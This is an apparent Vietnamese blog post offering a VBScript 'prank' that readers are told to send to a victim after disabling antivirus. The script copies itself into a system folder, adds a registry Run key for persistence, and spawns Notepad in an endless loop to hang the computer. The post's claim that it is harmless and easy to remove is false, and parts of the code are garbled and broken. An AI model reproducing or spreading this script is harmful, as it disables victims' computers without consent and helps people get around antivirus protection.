Lâu lâu có mấy trò nghịch này cũng vui. Cách làm, copy đoạn code này lên và lưu tên file dưới dạng *.vbs (ví dụ như treomay.vbs) sau đó gửi cho người mà mình muốn nghịch. Ai làm đoạn code này ra mà tự click vào là khổ đó, treo máy 😀
Lưu ý: đa số các chương trình anti virus đều phát hiện ra file này và diệt ngay tức khắc 😀 nếu muốn chơi cái này phải disable cái trình anti virus đi đã. Máy victim cũng vậy 😀 các bạn yên tâm, cái này ko làm ảnh hưởng gì đến máy cả, nó chỉ làm treo máy khi mình chạy file treomay.vbs thôi, ko muốn nữa thì xóa nó đi là xong.
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersio nRu ncod e1","wscript.exe "&popo.GetSpecialFolder;(0)& "popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
